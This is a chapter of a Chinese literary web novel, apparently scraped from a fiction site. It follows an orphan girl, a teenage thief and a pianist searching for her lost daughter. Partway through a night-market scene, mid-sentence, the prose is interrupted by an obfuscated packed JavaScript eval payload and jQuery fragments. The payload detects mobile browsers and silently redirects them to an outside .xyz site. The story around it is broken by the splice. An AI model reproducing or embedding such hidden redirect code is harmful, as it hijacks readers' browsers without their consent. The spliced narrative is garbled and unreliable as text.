六岁的苏末晞蹲在孤儿院食堂的角落，用勺子一点点刮着碗底最后几粒米饭。那天的阳光很刺眼，从铁栅栏窗外斜射进来，把她的影子钉在斑驳的墙面上，像一只被钉住的蝴蝶。


    忽然，一阵骚动打破了平静。


    "我的钱呢？两百块！刚刚还在包里！"李保姆的尖叫声像刀片划破空气。食堂里顿时乱作一团，孩子们缩着脖子，像一群受惊的麻雀。


    苏末晞抬起头，看见一个瘦高的影子从后门溜了出去——那是个十几岁的少年，洗得发白的蓝衬衫像挂在竹竿上，后颈有一块暗红色的胎记，形状像半片枯叶。


    警察来得很快。他们带回那个少年时，他正蹲在巷子口数钱，手指神经质地颤抖着。


    "我有强迫症。"少年低着头，声音却异常平静，"不数清楚睡不着觉。"


    苏末晞记得他腕骨凸出的弧度，像她昨天在图画课上画的崎岖山脉。他叫杨鼎子，十三岁，是附近出了名的"问题儿童"。警察显然认识他，做笔录时甚至懒得抬头："又是你那个偷窃团伙教的？"


    杨鼎子没回答。他的目光穿过乱糟糟的刘海，突然落在苏末晞身上。那一瞬间，女孩感觉有冰冷的金属抵住喉咙——后来她才明白，那是被同类认出的战栗。


    三天后，一个自称清白的女记者来到孤儿院。她扎着干练的马尾，脖子上挂着南昌大学的学生证


    "小朋友，你看见那天偷钱的哥哥了吗？"她蹲下来问苏末晞


    苏末晞摇头。她闻到了记者身上香水的味道，混着某种更隐秘的气息——和杨鼎子袖口沾染的如出一辙。


    直到很多年后，苏末晞在杨鼎子租住的地下室里发现一张泛黄的照片：年轻时的清白与两个男孩站在河南老家的麦垛前，左边是幼年的杨鼎子，右边是她现在的丈夫。照片背面用圆珠笔写着："给鼎子，别忘了你哥怎么进去的。"


    那天杨鼎子醉得厉害，他指着照片上已经模糊的日期——正是孤儿院盗窃案后的第七天。"她不是我嫂子，"他笑得像哭，"是来灭口的。"


    苏末晞突然想起，清白记者离开孤儿院那晚，食堂后面的梧桐树下传来沉闷的击打声。而第二天，杨鼎子左耳永远失去了三分之一的听力。


    深秋的清晨，杨鼎子在市立音乐厅后门的防火梯上醒来时，先闻到的是雪松混着苦橙的气息——这味道不该出现在贫民区。他低头看见自己开裂的袖口沾了片白色羽毛，在晨光中微微发颤。


    琴声就是这时响起的。


    肖斯塔科维奇的前奏曲，像一把钝刀缓慢地剖开晨雾。杨鼎子顺着消防梯爬下去，隔着排练厅的落地窗，看见穿烟灰色羊绒裙的女人。她弹琴时脖颈的弧度让少年想起孤儿院图书室里那本《天鹅湖》的插图，苏末晞总偷偷用手指摩挲那一页。


    "外面很冷吧？"琴声戛然而止时，女人已经站在窗前。杨鼎子这才注意到她左手指关节有些异常的肿胀，像是长期劳损的痕迹。窗台上放着的乐谱封面印着烫金名字：苏黎世，柏林爱乐乐团客座钢琴家。


    后来他总在相同时间出现在音乐厅。清洁工们都知道这个沉默的少年，会帮苏老师把沉重的曲谱箱搬到三楼琴房。有次暴雨天，他在后台听见两个女演员闲聊："苏老师女儿要是活着，也该这么大了...""听说是车祸？她丈夫当场..."


    装订针突然扎进指腹。杨鼎子盯着血珠，想起上周苏末晞发烧时攥着他手指说的胡话："妈妈的车是红色的..."


    十二月末的暴雪夜，他看见苏黎世站在孤儿院对面的路灯下。雪花落在她没戴手套的左手，覆盖那些因过度练习而变形的骨节。她怀里抱着个褪色的朱红色小提琴盒——杨鼎子后来在苏末晞床底发现过同款琴盒的残片，上面有干涸的血迹。


    "能告诉我吗？"钢琴家的声音比琴弦还细，"那个总坐在窗边看图画书的孩子..."她递来的照片里，三岁的苏末晞穿着白色芭蕾舞裙，背景是维也纳金色大厅的走廊。


    杨鼎子把冻僵的手藏进破夹克："这里没有叫这个名字的。"转身时他听见琴盒掉在雪地里的闷响，像某个未完成的和弦。


    直到多年后，当他在苏末晞的公寓里发现那张被剪碎的报纸——"著名钢琴家苏黎世独女失踪案疑涉豪门恩怨"，才明白那晚路灯下女人颤抖的肩膀，不是因为风雪。


    夜市嘈杂，油烟气裹着廉价香水的味道在空气里浮动。硬币在铁碗里打转，叮当几声，又归于沉寂。


    穿褪色水手服的女人跪在霓虹灯牌下，刘海像一道黑色的封印，遮住了上半张脸。她的指甲缝里沾着朱砂，指节泛着不自然的青白，像是常年浸泡在某种药水里。苏末晞的帆布鞋停在她面前时，她没抬头，只是伸出手，声音低哑得像被砂纸磨过


    “借一百块……”


    她的手指突然扣住苏末晞的脚踝，力道大得几乎要嵌进皮肉里。


    “……回家吃饭。”


    苏末晞低头，看见她手腕内侧的刺青——墨绿色的蛇缠着一枚铜钱，和地下说唱现场的海报一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949924|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    模一样。


    记忆像被突然撕开的伤口，血淋淋地翻涌上来。


    ——十六岁那年，她被人从孤儿院带走，塞进一辆面包车。车窗贴着黑膜，后座的男人抽着烟，烟灰弹在她手背上，烫出一小块疤。他说，带她去见妈妈。可车子最终停在一家地下酒吧的后巷，霓虹灯牌上写着“三魂七魄”，血红色的光映在积水里，像一滩没擦干净的血。


    台上站着一个穿黑色水手服的女人，发梢滴落的汗珠在半空凝成水晶状。台下人群癫狂，苏末晞却只觉得冷。女人倒悬身体，长发垂落，眉间一点朱砂痣在频闪灯下忽明忽暗。


    “三魂七魄当铺收~”


    她的声音像一把钝刀，缓慢地割开苏末晞的神经。


    “谁在超度谁~”


    而现在，这个女人就跪在她面前，灰白的左眼虹膜像蒙了一层雾。她掀起刘海，嘴角扯出一个古怪的笑。


    “上次演出后……”


    她从破背包里掏出一个褪色的御守，布料已经被摩挲得发亮。


    “……你落了东西。”


    苏末晞接过，指尖触到里面硬质的边缘——是一张照片。1999年，孤儿院火场，浓烟滚滚的背景下，一个穿红裙子的女人抱着婴儿，站在焦黑的铁门边。


    她的手指开始发抖。


    女人凑近，呼吸里带着劣质酒精的味道。


    “你妈妈找了你很久。”她说，“可惜，她找错人了。”


    夜风突然变得很冷。


    夜风卷着纸币的边缘，苏末晞将那张皱巴巴的钞票放进铁碗。硬币碰撞出清脆的声响，像某种隐秘的暗号。


    跪着的女人忽然笑了。她拾起那张纸币，手指翻飞，竟在瞬息间折出一只纸船。船身棱角锋利，在霓虹灯下泛着诡异的红光。她俯身，将船放进路边的积水沟。污水浑浊，浮着油渍和烟蒂，可那纸船偏偏不沉，晃晃悠悠地漂着，载着那枚褪色的御守，缓缓驶向黑暗深处。


    "船钱付了......"


    女人的声音渐渐远去。她站起身，水手服的下摆滴着水，在水泥地上洇开深色的痕迹。灰白的眼珠倒映着苏末晞苍白的脸，像一面蒙尘的镜子。


    "......该靠岸了。"


    纸船在拐角处打了个旋，消失在排水沟的阴影里。远处传来木鱼声，单调的节奏混着地下说唱模糊的电子音，在夜色中交织成诡异的安魂曲。


    苏末晞站在原地，突然明白过来——


    渡人者，往往最需要被渡。